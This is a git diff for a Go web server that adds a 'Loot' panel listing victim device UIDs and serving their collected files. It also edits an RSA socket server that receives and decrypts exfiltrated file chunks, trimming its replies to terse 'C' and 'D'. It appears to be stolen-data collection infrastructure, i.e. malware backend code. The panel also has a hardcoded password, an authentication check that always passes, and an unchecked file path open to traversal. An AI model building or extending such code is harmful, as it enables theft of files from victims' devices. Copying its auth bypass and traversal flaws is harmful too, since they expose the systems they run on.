diff --git a/files.html b/files.html
new file mode 100644
index 0000000..40694b7
--- /dev/null
+++ b/files.html
@@ -0,0 +1,18 @@
+
+
+
+
+
+
+ Files
+
+
+ Files
+
+ {{range .Files}}
+ - {{.}}
+ {{end}}
+
+
+
+
diff --git a/go.sum b/go.sum
new file mode 100644
index 0000000..480c891
--- /dev/null
+++ b/go.sum
@@ -0,0 +1,2 @@
+github.com/liamg/magic v0.0.1 h1:Ru22ElY+sCh6RvRTWjQzKKCxsEco8hE0co8n1qe7TBM=
+github.com/liamg/magic v0.0.1/go.mod h1:yQkOmZZI52EA+SQ2xyHpVw8fNvTBruF873Y+Vt6S+fk=
diff --git a/login.html b/login.html
new file mode 100644
index 0000000..e9de25a
--- /dev/null
+++ b/login.html
@@ -0,0 +1,20 @@
+
+
+
+
+
+ Login
+
+
+ Login
+
+ {{if .}}
+ {{.}}
+ {{end}}
+
+
+
diff --git a/loot.html b/loot.html
new file mode 100644
index 0000000..5da4524
--- /dev/null
+++ b/loot.html
@@ -0,0 +1,17 @@
+
+
+
+
+
+ Loot
+
+
+ Loot
+
+ {{range .UIDs}}
+ - {{.}}
+ {{end}}
+
+
+
+
diff --git a/loothandler.go b/loothandler.go
new file mode 100644
index 0000000..7607dd2
--- /dev/null
+++ b/loothandler.go
@@ -0,0 +1,97 @@
+package main
+
+import (
+ "html/template"
+ "io/ioutil"
+ "log"
+ "net/http"
+ "path/filepath"
+ "strings"
+)
+
+var (
+ password = "hardcodedpassword"
+ lootPath = "Loot"
+)
+
+type PageData struct {
+ UIDs []string
+ Files []string
+}
+
+func main() {
+ http.HandleFunc("/", loginHandler)
+ http.HandleFunc("/loot", lootHandler)
+ http.HandleFunc("/logout", logoutHandler)
+ http.HandleFunc("/files/", fileHandler)
+
+ log.Fatal(http.ListenAndServe(":8080", nil))
+}
+
+func loginHandler(w http.ResponseWriter, r *http.Request) {
+ if r.Method != http.MethodPost {
+ renderTemplate(w, "login.html", nil)
+ return
+ }
+
+ if r.FormValue("password") == password {
+ http.Redirect(w, r, "/loot", http.StatusSeeOther)
+ return
+ }
+
+ renderTemplate(w, "login.html", "Incorrect password")
+}
+
+func lootHandler(w http.ResponseWriter, r *http.Request) {
+ if !isAuthenticated(r) {
+ http.Redirect(w, r, "/", http.StatusSeeOther)
+ return
+ }
+
+ uids, err := getDeviceUIDs()
+ if err != nil {
+ http.Error(w, err.Error(), http.StatusInternalServerError)
+ return
+ }
+
+ data := PageData{UIDs: uids}
+ renderTemplate(w, "loot.html", data)
+}
+
+func fileHandler(w http.ResponseWriter, r *http.Request) {
+ requestedPath := strings.TrimPrefix(r.URL.Path, "/files/")
+ filePath := filepath.Join(lootPath, requestedPath)
+ http.ServeFile(w, r, filePath)
+}
+
+func logoutHandler(w http.ResponseWriter, r *http.Request) {
+ http.Redirect(w, r, "/", http.StatusSeeOther)
+}
+
+func renderTemplate(w http.ResponseWriter, tmpl string, data interface{}) {
+ t, err := template.ParseFiles(tmpl)
+ if err != nil {
+ http.Error(w, err.Error(), http.StatusInternalServerError)
+ return
+ }
+ t.Execute(w, data)
+}
+
+func isAuthenticated(r *http.Request) bool {
+ return true
+}
+
+func getDeviceUIDs() ([]string, error) {
+ var uids []string
+ files, err := ioutil.ReadDir(lootPath)
+ if err != nil {
+ return nil, err
+ }
+ for _, file := range files {
+ if file.IsDir() {
+ uids = append(uids, file.Name())
+ }
+ }
+ return uids, nil
+}
+
diff --git a/rsaserver.go b/rsaserver.go
index 8e13831..882aba8 100644
--- a/rsaserver.go
+++ b/rsaserver.go
@@ -117,11 +117,11 @@ func handleConnection(conn net.Conn, privateKey *rsa.PrivateKey) {
chunks = append(chunks, chunk)
- conn.Write([]byte("Received and decrypted chunk\n"))
+ conn.Write([]byte("C\n"))
}
go decryptAndHandle(chunks, key, iv, uid)
- conn.Write([]byte("Received and decrypted\n"))
+ conn.Write([]byte("D\n"))
moreFiles, err := bufio.NewReader(conn).ReadString('\n')